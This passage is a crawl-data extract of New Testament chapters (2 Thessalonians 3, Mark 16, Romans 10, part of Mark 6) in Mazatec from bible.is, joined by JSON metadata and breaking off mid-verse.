si̱jé‑nòje̱n mé tsojmì xi mochjeén‑naje̱n. Jè xi mejèn‑naje̱n nga chjínguì‑náje̱n mé‑ne k'oa̱ ti̱s'ín s'e̱en koni 'nè‑je̱n. 10K'e̱ nga tsitsa̱jnako̱‑nòje̱n k'oa̱á s'ín ki'mì‑nòje̱n: Tsà jngoò xi̱ta̱ xi majìn‑la̱ síxá, ti̱koa̱ mìkiì tjí'nde‑la̱ nga ko̱kje̱n. 11Jyeé kina'yà‑je̱n nga tjímajiìn i'nga xi̱ta̱ xi majìn‑la̱ síxá nga tà jyò binchima, nga ta jñà chja̱jiìn chja̱'a ñánda mì jñà oko̱‑la̱. 12Jñà xi̱ta̱ koi, i̱t'aà ts'e̱ Jesucristo xi otíxoma‑ná, k'oa̱á s'ín bìtsi'ba‑la̱je̱n, ti̱koa̱ bìnè‑la̱je̱n nga kàtasíxá, mé‑ne nga kàtátsji'a‑ne yijo‑la̱. 13Jñò ndí 'ndsè ko̱ ndí tichjaá, kì bijta‑nò nga ndaà 'nè. 14Tsà tjín i'nga xi mìkiì síkitasòn koni tsò xo̱jo̱n jè, chítsejèn‑là yá‑né, kì ya̱á báhijtako̱o, mé‑ne nga ko̱sobà‑la̱. 15Ta̱nga kì k'oa̱á s'ín nìko̱o koni jngoò xi̱ta̱ kondra̱, k'oa̱á s'ín tèno̱jmíya‑là nga 'én ndaà chiko̱o nga 'ndseé chibá. 16Ti̱jè‑ne Na̱'èn‑ná xi tsjá kjoa̱'nchán, kjit'aà na̱chrjein kàtatsjá‑nò kjoa̱'nchán ni̱ta̱ mé kjoa̱‑ne. Na̱'èn‑ná kàtìjnako̱‑nò ngats'ioò. 17Nga jye tífehet'aà xo̱jo̱n jè, ko̱ó ndsa̱a tìkjiì‑nò 'a̱n xi 'mì‑na Pablo, nga tisìhixat'aà‑nò. Nga̱ k'oa̱s'ín s'iaàn firma‑na̱, ko̱ k'oa̱á s'ín kjiaà. 18Ngats'ioò, jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná.\n2 Tesalonicenses 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Thess\/3","date":"2013-12-06T08:12:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050122\/warc\/CC-MAIN-20131204131730-00005-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000054836273193}","num_words":354,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye tsato na̱chrjein nìkjáya, María Magdalena, Salomé, ko̱ María nea̱‑la̱ Jacobo, tsatse xkiì jne̱ nga mejèn‑la̱ si̱ìkaàjno yijo‑la̱ Jesús. 2Jè na̱chrjein nga tàts'en xomàna̱, 'ñó ta̱jñòya kiì katsejèn‑la̱ ñánda kisìhijiìn Jesús. Ti̱k'e̱é tíbitjokàtji ts'oí. 3Tsò‑la̱ xíkjín: ―¿Yá xi kjoa̱áxìn‑ná nda̱jo̱ xi tíchjoàjto ya̱ xotjoa̱‑la̱ nga̱jo̱ i̱tsjó? 4K'e̱ nga ijchò, kiskoòtsejèn, kijtseè nga jè nda̱jo̱ je xi 'ñó i'í xi tíchjoàjto‑la̱ nga̱jo̱ i̱tsjó ñánda kisijna Jesús, jye kitjaàxìn. 5K'e̱ nga jahas'en‑ngui nguijo kijtseè jngoò xi̱ta̱ i̱xti xi tíjnajté jngoò nikje chroba ndojò. Tíjnat'aà kixi̱‑la̱ nga̱jo̱. Jñà íchjín tà kitsakjòn‑né. 6Ta̱nga jè xi̱ta̱ i̱xti kitsò‑la̱: ―Kì tsakjoòn‑jèn. Jñò, jè binchaàtsjioò Jesús xi Nazaret i̱'nde‑la̱, jè xi kisit'aà krò. Jye kòfaáya‑la̱. Mì ti̱ i̱ tíjna‑ne. Chítsejèn‑là i̱'nde‑la̱ ñánda kisijna. 7Tanguió koa̱tìn‑là xi̱ta̱ xi kota'yàt'aà‑la̱ ko̱ Pedro: \"Jè tífì ítjòn‑nò ján Galilea. Ya̱á jcha̱xkoòn ìjngoò k'a koni s'ín kitsò‑nò.\" 8Jñà íchjín, itjo ni̱to̱ón‑ne ya̱ i̱ya nguijo. Kiì, tsangachikon. Chi̱ba̱‑la̱ nchihotsé‑né nga kitsakjòn. Ni̱yá xi tsibéno̱jmí‑la̱ nga 'ñó tsibíxkón‑la̱ yijo‑la̱. 9Jè na̱chrjein nga tàts'en xomàna̱, Jesús jaáya‑la̱ nga ta̱jñòya. Jè kijtseè ítjòn María Magdalena, jè xi tsachrjekàjiìn itoò ini̱ma̱ ch'o‑la̱ nei̱í ini̱ma̱‑la̱. 10María Magdalena kiì, kisìkí'nchré ngats'iì xi̱ta̱‑la̱ Jesús nga ba tjín‑la̱ koa̱ nchikjindáya. 11Jñà xi̱ta̱ xi kota'yàt'aà‑la̱, k'e̱ nga kiì'nchré nga tíjnakon Jesús nga jè chjo̱ón kijtseè, mìkiì kòkjeiín‑la̱. 12K'e̱ komà i̱skan, Jesús, kj'ei̱í kji i̱sén‑la̱ k'e̱ nga tsakó‑la̱ yijo‑la̱ jò xi̱ta̱‑la̱ xi nchifì campo. 13Tsohótji‑ne jñà xi̱ta̱ xi jò ma, kisìkí'nchré jñà xi̱ta̱ xi i'nga. Ti̱koa̱á mìkiì kòkjeiín‑la̱. 14Xi jyehet'aà‑ne, Jesús tsakó‑la̱ yijo‑la̱ jñà xi̱ta̱ xi tejngoò ma‑ne k'e̱ nga títsa̱jnat'aà ími̱xa̱ nga nchikjèn. Tsohótiko̱ nga tájaà tjín ini̱ma̱‑la̱ nga mì kòkjeiín‑la̱ k'e̱ nga tsibéno̱jmí‑la̱ jñá xi̱ta̱ xi tsakó ítjòn‑la̱ yijo‑la̱ nga jè jye jaáya‑la̱. 15Koa̱ kitsò‑la̱: ―Tanguió nga tíjtsa i̱sò'nde. Tèno̱jmí yije‑là ngats'iì xi̱ta̱ jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'a̱n. 16Jñà xi̱ta̱ xi ko̱kjeiín‑la̱ i̱t'aà ts'a̱n koa̱ ko̱ma bautizar, ki̱tjokàjiìn kjo̱'in. Ta̱nga jñà xi mìkiì ko̱kjeiín‑la̱, kjo̱'iín s'e̱‑la̱. 17Jñà xi ko̱kjeiín‑la̱ i̱t'aà ts'a̱n, k'oa̱á s'ín jcha̱‑la̱; nga ko̱ma‑la̱ ko̱chrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱; ti̱koa̱á ko̱ma‑la̱ ki̱chja̱ 'én xi kj'ei̱í tsò; 18tsà ye̱ tsobà'ñó, tsà xkiì kjan ski̱ne̱, ni̱mé xi ko̱ma‑la̱; ko̱hòsòn‑la̱ tsja xi̱ta̱ xi xk'én, ko̱ndaà‑ne. 19K'e̱ nga jye o̱kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, Na̱'èn‑ná Jesús, kitjámiì'nga; nga kiì ngajmiì, tsibìjna i̱t'aà kixi̱‑la̱ Nainá. 20Jñà xi̱ta̱‑la̱ kiì; kisìka'bí 'én ndaà‑la̱ nga kijndà i̱'nde, ko̱ jè Na̱'èn‑ná Jesús kisìchját'aà‑la̱ ko̱ kisìkixi̱yandaà 'én‑la̱ ko̱ kjo̱ndaà xi kis'iìn xi̱ta̱‑la̱. K'oa̱á s'ín kàtama.\nSan Marcos 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/16","date":"2013-12-07T06:56:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053669\/warc\/CC-MAIN-20131204131733-00085-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":394,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò ndí 'ndsè, xi nguì o̱kixi̱, koií xi 'ñó mejèn‑la̱ ini̱ma̱‑na̱ ko̱ xi 'ñó sìjét'aà‑la̱ Nainá i̱t'aà ts'e̱ na̱xa̱ndá Israel, nga kàtìtsa̱jnandei̱í kjoa̱ ts'e̱ jé‑la̱. 2'A̱n be kixi̱‑ná nga 'ñó mejèn‑la̱ nga ndaà skoe̱xkón Nainá jñà xi̱ta̱ Israel, ta̱nga mìkiì mangásòn kjo̱hítsjeèn‑la̱ koni s'ín tjín jè kjo̱hítsjeèn xi nguì kixi̱ tjín. 3Nga mìkiì fahas'en‑jiìn‑la̱ nga tà jngoò jè Nainá xi ma‑la̱ kixi̱ síkítsa̱jna xi̱ta̱. Tà jè xi mejèn‑la̱ nga tà jñà kixi̱ si̱kítsa̱jna yijo‑la̱. Majìn‑la̱ kjoé xi o̱kixi̱‑la̱ Nainá xi ma‑la̱ kixi̱ si̱ìkíjna‑ná. 4Nga jè Cristo kisìkjehet'aà kjoa̱ ts'e̱ kjo̱tíxoma mé‑ne nga s'e̱‑la̱ kjoa̱ kixi̱ ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá. 5Jè Moisés, k'oa̱á s'ín kiskiì i̱t'aà ts'e̱ xi̱ta̱ xi mejèn‑la̱ kixi̱ kítsa̱jna i̱t'aà ts'e̱ kjo̱tíxoma nga tsò: \"Jè xi̱ta̱ xi si̱ìkitasòn kjo̱tíxoma, i̱t'aà ts'e̱é kjo̱tíxoma kíjnakon‑ne.\" 6Ta̱nga i̱t'aà ts'e̱ xi̱ta̱ xi kixi̱ kítsa̱jna k'e̱ nga mokjeiín‑la̱, k'oa̱á tsò: \"Kì k'oa̱á tsò ini̱ma̱‑lè: ¿Yá xi kji̱mijìn ngajmiì?\" ('Én koi tsòyaá‑ne nga mejèn‑la̱ kji̱nchrobàjen‑ko̱ Cristo.) 7Ko̱, kì k'oa̱á tsò ini̱ma̱‑lè: \"¿Yá xi ma koi̱ìs'en‑jiìn i̱'nde ñánda nchisíkjeiín kjo̱'in jñà mik'en?\" ('Én koi tsòyaá‑ne nga mejèn‑la̱ skímiì'nga ìjngoò k'a‑ne Cristo ya̱ i̱jiìn‑la̱ mik'en.) 8Ta̱nga, ¿kó tsò‑ìsa 'én‑la̱ Moisés? Tsò‑ne: \"Chrañàt'aà tíjna‑lè jè 'én, ya̱á tíjna'a ndso̱boi, ya̱á tíjnajiìn ini̱ma̱‑lè.\" K'oa̱á tsò 'én xi 'a̱n chjàya xi mochjeén nga ko̱kjeiín‑ná. 9Tsà ndso̱boi kéno̱jmí‑ne nga Jesucristo, jè xi Na̱'èn‑ná, koa̱ tsà ko̱ ini̱ma̱‑lè ko̱kjeiín‑lè nga Nainá kisìkjaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà, ki̱jnandei̱í‑né xi kjoa̱ ts'e̱ jé‑lè. 10Nga ko̱ó ini̱ma̱‑ná mokjeiín‑ná mé‑ne nga kixi̱ ki̱tsa̱jnaá nguixko̱n Nainá ti̱koa̱ ko̱ó ndso̱baá bèno̱jmiá nga Jesucristo, jè xi Na̱'èn‑ná, mé‑ne nga ko̱ma ki̱tsa̱jnandei̱í‑ná xi kjoa̱ ts'e̱ jé‑ná. 11K'oa̱s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Ngats'iì xi ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Cristo mìkiì ko̱sobà‑la̱.\" 12Jñà xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío, tà ngásòn‑né xi i̱t'aà ts'e̱ Nainá; nga ti̱jè‑ne Cristo xi Na̱'èn tsò‑la̱ ngats'iì xi̱ta̱. Jè kjo̱ndaà xi 'ñó tse tjín‑la̱ Cristo, jè tsjá‑la̱ ngats'iì xi̱ta̱ xi chja̱t'aà‑la̱. 13Nga k'oa̱á ti̱ tsò Xo̱jo̱n‑la̱ Nainá: \"Ngats'iì xi̱ta̱ xi ki̱chja̱t'aà‑la̱ Na̱'èn‑ná, kítsa̱jnandei̱í‑né xi kjoa̱ ts'e̱ jé‑la̱.\" 14Ta̱nga mìkiì ko̱ma ki̱chja̱t'aà‑la̱ Cristo jè xi̱ta̱ xi kj'eè kì mokjeiín‑la̱. Ko̱ mìkiì ko̱kjeiín‑la̱ xi̱ta̱ xi kj'eè mé 'én 'nchré i̱t'aà ts'e̱ Cristo. Koa̱ mìkiì ko̱ma kji̱'nchré xi̱ta̱ tsà mì yá xi̱ta̱ tjín xi ke̱èno̱jmí‑la̱ i̱t'aà ts'e̱ Cristo. 15Koa̱ jè xi̱ta̱ xi ke̱èno̱jmí 'én, mìkiì ko̱ma si̱ìxá tsà mì yá xi si̱ìkasén. K'oa̱s'ín tjít'aà xo̱jo̱n: \"Mé tà ndaà‑ne nga k'oa̱s'ín binchimasòn jñà xi̱ta̱ xi chja̱ya 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ts'e̱ kjoa̱'nchán.\" 16Ta̱nga mìtsà tà ngats'iì xi̱ta̱ Israel kisìkitasòn jè 'én ndaà‑la̱ Nainá xi kiì'nchré. Nga jè Isaías xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, k'oa̱á kitsò: \"Na̱'èn, ¿yá xi kòkjeiín‑la̱ 'én xi ji̱n kinokjoàya‑je̱n?\" 17K'oa̱á ma‑ne, k'e̱ nga mokjeiín‑ná, ya̱á nchrobát'aà‑ne k'e̱ nga na'yá‑lá 'én. K'oa̱ jñà 'én xi na'yá, 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo‑né. 18Ta̱nga, k'oa̱á xan: ¿A mìtsà kiì'nchré xi̱ta̱ Israel jè 'én ndaà‑la̱ Nainá? Jon, kiì'nchré‑né. Nga k'oa̱á tsò jè Xo̱jo̱n‑la̱ Nainá: Kijndà i̱sò'nde jyeé tsabísòn 'én‑la̱. Jyeé ijchò skanda ñánda fehet'aà‑ne nangui. 19Ti̱koa̱á xan‑ná: jñà xi̱ta̱ Israel, ¿a mì kisijiìn‑la̱ kjoa̱ koi? Kisijiín‑la̱. Jè xi tíjna ítjòn, k'oa̱á kitsò Moisés: 'A̱n, k'oa̱á s'ín s'iaàn nga kàtachi̱ni̱cha jñò jngoò na̱xa̱ndá xi mìtsà na̱xa̱ndá ts'a̱n xan‑la̱. Kàtamajticha i̱t'aà ts'e̱ na̱xa̱ndá xi chiba kjo̱hítsjeèn tjín‑la̱. 20Ti̱koa̱á Isaías 'ñó tsi'beé‑la̱ ikon nga kiìchja̱ 'én‑la̱ Nainá nga kitsò: Kisakò‑la̱ jñà xi̱ta̱ xi mìkiì 'a̱n tsohótsji‑na. Tsakó‑la̱ kjo̱ndaà‑na̱ jñà xi̱ta̱ xi mìkiì 'a̱n kiskònanguiya‑na. 21Ta̱nga jè Isaías k'oa̱á s'ín kiskiì i̱t'aà ts'e̱ xi̱ta̱ Israel koni s'ín kitsò Nainá: \"Na̱chrjein nchijòn tsijmeé‑la̱ ndsa̱a nga kichjà'nchré‑la̱ jngoò na̱xa̱ndá xi kondra̱ kiì‑la̱ 'én‑na̱ nga mì kì kisìkitasòn.\"\nRomanos 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/10","date":"2013-12-06T03:44:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049455\/warc\/CC-MAIN-20131204131729-00004-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":581,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús itjojiìn‑ne ya̱ i̱'nde jè, kiì‑ne nangui‑la̱ Nazaret, tji̱ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱. 2K'e̱ nga jye ijchò na̱chrjein nìkjáya, tsibíts'ia̱ nga tsakóya 'én ndaà‑la̱ Nainá ya̱ ni'ya i̱ngo̱ sinagoga. Kjìn jchán ma xi̱ta̱ xi kiì'nchré‑la̱ koni s'ín tsakóya. Jñà xi̱ta̱, tà k'oa̱á komà‑la̱, kjònangui‑la̱ xíkjín, kitsò: ―Xi̱ta̱ jè, ¿ñánda komà‑la̱ ngats'iì 'én xi okóya? ¿Ñánda ochrje kjoa̱chji̱ne̱ koi ko̱ kjo̱xkón xi s'ín? 3¿A mìtsà jè xi chji̱ne̱yá xi ti‑la̱ María, xi 'ndse̱ ma Jacobo, José, Judas ko̱ Simón? ¿A mìtsà ti̱koa̱ i̱ títsa̱jnajiìn‑ná íchjín ndichja? Xi̱ta̱ koi mìkiì ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Jesús. 4Ta̱nga jè Jesús kitsò‑la̱: ―Jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá, ni̱ta̱ ñá na̱xa̱ndá‑ne yaxkón‑né, ta̱nga ya̱ na̱xa̱ndá‑la̱ ko̱ ni'ya‑la̱ ko̱ i̱t'aà ts'e̱ xi̱ta̱ xíkjín mìkiì yaxkón. 5Jesús ni̱mé kjo̱xkón xi ndaà tjín kis'iìn nangui‑la̱, tà chiba xi̱ta̱ xk'én xi tsohót'aà‑la̱ tsja nga kisìndaà‑ne. 6Tà kjòxkón‑la̱ Jesús, nga jñà xi̱ta̱ koi, mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱. Jesús ya̱á tsajmeè na̱xa̱ndá jtobá xi chrañàt'aà kjiyijò nga tsakóya. 7Nga komà i̱skan, Jesús kiìchja̱‑la̱ xi̱ta̱‑la̱ xi tejò ma‑ne xi jè tsibíxáya‑la̱; jò jò kisìkasén, kitsjaà‑la̱ o̱kixi̱ nga ko̱chrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱. 8K'oa̱á ti̱s'ín kitsjaà‑la̱ o̱kixi̱ nga ni̱mé tsojmì k'oa̱ k'e̱ nga kjoi̱ ndi̱yá. Kitsò‑la̱: ―Tà k'oa̱á s'ín tanguió. Tà jngoò yá garrote ch'aà. Kì na̱'yaá ch'aà, kì i̱nchra̱jín ch'aà, kì to̱n ch'aà. 9Ko̱maá tsjayaà xo̱jté‑nò. Tà jngoò na̱chro̱ ch'aà. Kì jò ch'aà. 10Jesús kitsò‑ìsa‑la̱: ―K'e̱ nga ki̱jchò jngoò na̱xa̱ndá, jngoò ni'ya ti̱tsa̱jna skanda k'e̱ nga ko̱nguí‑nò. 11Tsà tjín na̱xa̱ndá ñánda mìkiì skoétjò‑nò, tsà majìn‑la̱ nga 'nchré‑nò, titjo̱jñoò, titsajneè chijo‑la̱ ndso̱koò mé‑ne nga skoe̱‑ne nga jñà tjín‑la̱ jé nga mìkiì 'nchréñijon. Xi nguì o̱kixi̱ k'oa̱á xan‑nò k'e̱ nga ki̱jchò na̱chrjein‑la̱ jñà na̱xa̱ndá koi, ìsa̱á tse kjo̱'in s'e̱‑la̱ koni s'ín komàt'in na̱xa̱ndá Sodoma ko̱ Gomorra. 12Xi̱ta̱ koi, kiì nga tsibéno̱jmíya‑la̱ xi̱ta̱ nga kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne. 13Kjìn ini̱ma̱ ch'o‑la̱ nei̱í tsachrjekàjiìn ini̱ma̱‑la̱ xi̱ta̱, ti̱koa̱ kjìn xi̱ta̱ kisìndaà‑ne xi xk'én nga kisìkaàjno‑la̱ asìti̱. 14Jè Herodes xi xi̱ta̱ xá ítjòn tíjna, kiì'nchré i̱t'aà ts'e̱ Jesús nga jye xki̱ xi ján na̱xa̱ndá kina'yà‑la̱. Tjín xi̱ta̱ xi kitsò: ―Jè Juan xi kis'iìn bautizar xi̱ta̱, jyeé jaáya‑la̱. K'oa̱á ma‑ne nga tjín‑la̱ nga'ñó nga ma‑la̱ s'ín kjo̱xkón xi ndaà tjín. 15Tjín xi̱ta̱ xi kitsò: ―Jè Elías. Ti̱koa̱ tjín xi kitsò: ―Jngoò xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá kjòtseé. 16Jè Herodes, k'e̱ nga kiì'nchré kitsò‑né: ―Jè Juan xi jaáya‑la̱ xi 'a̱n tsatesian sko̱. 17Nga ìsa̱ kjòtseé, Herodes kisìkasén xi̱ta̱ nga kitsobà'ñó Juan nga kiskinìs'en nda̱yá, koi kjoa̱‑la̱ ts'e̱ chjo̱ón Herodías xi chjo̱ón‑la̱ Felipe nga jè Herodes chixàn‑ko̱ xi chjo̱ón‑la̱ 'ndse̱. 18Nga jè Juan xi kis'iìn bautizar xi̱ta̱, kjìn k'a o̱kitsò‑la̱ Herodes: ―Mìkiì tjiì'nde‑lè nga ji̱ tijnakoi̱i chjo̱ón‑la̱ 'ndsì. 19Jè chjo̱ón Herodías, kòjtikeè Juan, mejèn‑la̱ nga si̱ìk'en ta̱nga mìkiì ma xi síko̱. 20Nga jè Herodes, beèxkón Juan ko̱ síkinda̱‑ne nga jye tíjiìn‑la̱ nga xi̱ta̱ kixi̱‑né ko̱ xi̱ta̱ tsjeè‑né. Herodes k'e̱ nga chja̱ko̱ Juan, matsjaá‑la̱ nga 'nchré‑la̱, ta̱nga mìkiì beè mé xi s'i̱in, a si̱ìkitasòn‑né, a xi majìn. 21Ijchò jngoò na̱chrjein xi ndaà ts'e̱ chjo̱ón Herodías k'e̱ nga tsachrje s'eí‑la̱ jè Herodes jè na̱chrjein nga kits'iìn. Ijchò xi̱ta̱‑la̱ xi̱ta̱xá ítjòn, ko̱ xi̱ta̱ sko̱‑la̱ soldado, ko̱ xi̱ta̱ nchi̱ná xi tjín kóho̱kji Galilea nga tsakjèn‑ko̱ Herodes. 22Ti̱koa̱ ijchò tsòti‑la̱ Herodías, jahas'en ni'ya; kitè. Jè Herodes ko̱ xi̱ta̱ xi títsa̱jna, ndaà jchán kisaseèn‑la̱ koni s'ín kitè jè tsòti. Herodes, xi xi̱ta̱ xá ítjòn tíjna, kitsò‑la̱: ―Ti̱jé‑ná mé xi mejèn‑lè, tsjaà‑lè. 23K'oa̱á s'ín kitsjaà‑la̱ tso'ba nga tsjá yije‑la̱ ni̱ta̱ mé xi mejèn‑la̱ na̱s'ín osen nangui xi jè otíxoma‑la̱. 24Jè tsòti, itjo ni'ya, kiskònangui‑la̱ nea̱‑la̱. Kitsò‑la̱: ―¿Mé xi siìjé‑la̱? Jè nea̱‑la̱. Kitsò: ―Ti̱jé‑la̱ sko̱ Juan xi s'ín bautizar xi̱ta̱. 25Jè tsòti, ni̱to̱ón jahas'en ìjngoò k'a ni'ya ñánda tíjna xi̱ta̱xá ítjòn. Kitsò‑la̱: ―I̱'ndei̱ mejèn‑na nga ni̱to̱n tjiì‑ná sko̱ Juan xi s'ín bautizar xi̱ta̱; tinaya‑ná chro̱ba̱te. 26Jè Herodes, xi xi̱ta̱xá ítjòn tíjna, 'ñó kjòba‑la̱ k'e̱ nga kiì'nchré‑la̱ jè tsòti. Ta̱nga koií kjoa̱‑la̱ nga jye kitsjaà‑la̱ 'én‑la̱ nga nguixko̱n xi̱ta̱ xi títsa̱jna s'eí, kjo̱'ñó kisìkitasòn‑la̱. 27Jè Herodes, ti̱k'e̱é‑ne kisìkasén jngoò soldado, kitsjaà o̱kixi̱ nga kàtjanchrohóko̱ sko̱ Juan. 28Jè soldado kiì ján nda̱yá nga tsatesin Juan; i̱kjoàn j'iìko̱ sko̱ Juan; tjíya‑la̱ chro̱ba̱ nga kitsjaà‑la̱ jè tsòti; ko̱ jè tsòti kisìnga̱tsja nea̱‑la̱. 29K'e̱ nga kiì'nchré xi̱ta̱ xi kota'yàt'aà‑la̱ Juan nga jye k'en, kiìkjaá yijo‑la̱ nga kiskinìs'en‑ngui jngoò nga̱jo̱ i̱tsjó‑la̱ mik'en. 30K'e̱ nga j'iì ìjngoò k'a‑ne jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, tsibéno̱jmí ngats'iì kjoa̱ xi kis'iìn ko̱ xi tsakóya ñánda kiì. 31Jesús kitsò‑la̱: ―Nchrobá. Tíkjiaán nga si̱kjáya í'ñoá jngoò i̱'nde i̱t'aà xìn. Koií k'oa̱ kitsò‑la̱ nga kjìn jchán ma xi̱ta̱, koa̱ tjín bijchó, koa̱ tjín nchrobá‑ne. Jesús ko̱ xi̱ta̱ xi tsibíxáya‑la̱ skanda mì ti̱ kiì ma'a‑la̱ nga kjèn. 32Tsibìtsa̱jnaya chitso nga ta jñà kiì jngoò i̱'nde i̱t'aà xìn ñánda tsjìn xi̱ta̱. 33Ta̱nga kjìn xi̱ta̱ kijtseè k'e̱ nga kiì. Kijtseèxkon nga jè Jesús. I̱kjoàn kiìtji̱ngui‑la̱ ngats'iì xi̱ta̱ na̱xa̱ndá xi ya̱ chrañàt'aà‑la̱ nga kiì‑ne ndso̱ko̱; skanda ìsa̱ ítjòn ijchò jñà xi̱ta̱ koi. 34Jesús, k'e̱ nga itjojen chitso, kijtseè nga 'ñó kjìn ma xi̱ta̱ xi títsa̱jna; kjòhi̱ma̱keè‑né. K'oa̱á ngaya‑la̱ koni jñà orrè xi tsjìn‑la̱ paxtò xi ko'ndà. I̱kjoàn tsibíts'ia̱ko̱ nga kjìn 'én tsibéno̱jmí‑la̱. 35K'e̱ nga jye 'ñó kjòhoxòn, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ijchò kinchat'aà‑la̱, kitsò‑la̱: ―Jyeé kjòhoxòn, jè i̱'nde jè, i̱t'aà xìn‑né, ni̱mé tjín. 36Ko̱t'ìn‑la̱ jñà xi̱ta̱ kàtjì‑ne nga kàtatse tsojmì xi ski̱ne̱ ya̱ na̱xa̱ndá ko̱ tsà jñà ni'ya ñánda nga chrañàt'aà. 37Kiìchja̱ Jesús, kitsò‑la̱: ―Tjiì‑là jñò xi ko̱kje̱n xi̱ta̱ koi. Kitsò jñà xi̱ta̱: ―¿A mejèn‑lè nga konguí kindaà‑je̱n i̱nchra̱jín koni tjín síkijne xi̱ta̱ nga jò sìndo̱ na̱chrjein síxá? 38Kitsò Jesús: ―Chítsejèn‑là kó tjín ma i̱nchra̱jín‑nò. K'e̱ nga kijtseè kó tjín ma‑ne, kitsò‑la̱: ―'Òn ma i̱nchra̱jín ko̱ jò ma ti̱n. 39K'e̱é kitsjaà o̱kixi̱ Jesús nga kàtìtsa̱jnajtín jñà xi̱ta̱ ya̱ i̱jiìn ijñá ñánda sa̱se̱ choòn. 40Íjngó íjngó sìndo̱ tsibìtsa̱jnajtín‑ne jñà xi̱ta̱; ko̱ tjín ñánda icháte icháte tsibìtsa̱jnajtín‑ne. 41Jesús kiskoé jñà i̱nchra̱jín xi 'òn ma‑ne ko̱ jñà ti̱n xi jò ma‑ne; i̱kjoàn kiskoòtsejèn ngajmiì; kitsjaà‑la̱ kjo̱ndaà Nainá; i̱kjoàn kisìxkoa̱ya i̱nchra̱jín; k'e̱é kitsjaà‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ nga kisìka'bí‑la̱ ngats'iì xi̱ta̱ kjìn xi títsa̱jna. Ti̱koa̱ kisìjòya ti̱n xi jò ma‑ne. Kitsjaà‑la̱ ngats'iì xi̱ta̱. 42Tsakjèn yije kóho̱tjín xi̱ta̱ kó nga kjòskiì. 43K'e̱é tsibíxkó‑ne i̱nchra̱jín ko̱ ti̱n xi kjòxkoa̱ya jñà xi tsiningui‑ne; nguì tejò ni̱si̱yá komà. 44Jñà xi̱ta̱ xi tsakjèn, 'òn jmiì ma‑ne xi xi̱ta̱ x'i̱n. 45Nga komà i̱skan, Jesús kisìkas'en xi̱ta̱ xi kota'yàt'aà‑la̱ ya̱ i̱ya chitso mé‑ne nga ìsa̱ ítjòn ki̱jchò‑ne ján na̱xa̱ndá Betsaida ya̱ xijngoaà ndáchikon; koa̱ jè Jesús k'e̱é tísíhixat'aà xi̱ta̱ xi kjìn ma‑ne nga jye nchifì‑ne. 46K'e̱ nga jye kisìhixat'aà xi̱ta̱, Jesús kiìmijìn‑jno jngoò nindoò nga kiì kiìchja̱t'aà‑la̱ Nainá. 47K'e̱ nga jye kòjñò, jè chitso, jyeé ya̱ síjna jngoò osen ndáchikon. Jesús, nga ta̱jngoò tsibíjnat'aà nangui, 48kijtseè chitso nga mìkiì ma fì. Nga jè tjo̱ bíchjoà ikon‑la̱. K'e̱ nga ta̱jñòya ìsa̱, Jesús kiìtji̱ngui‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ nga kiì‑ne ndso̱ko̱ ya̱ i̱sòn nandá. Ta̱nga k'oa̱á kis'iìn koni tsà mejèn‑la̱ nga kjoi̱ ítjòn‑la̱ chitso. 49Jñà xi̱ta̱ xi kota'yàt'aà‑la̱, k'e̱ nga kijtseè nga tífìsòn nandá, k'oa̱á s'ín kisìkítsjeèn, kitsò, tsà ini̱ma̱ ch'o‑né; kiskindàya xkón 50nga kitsakjòn‑la̱ 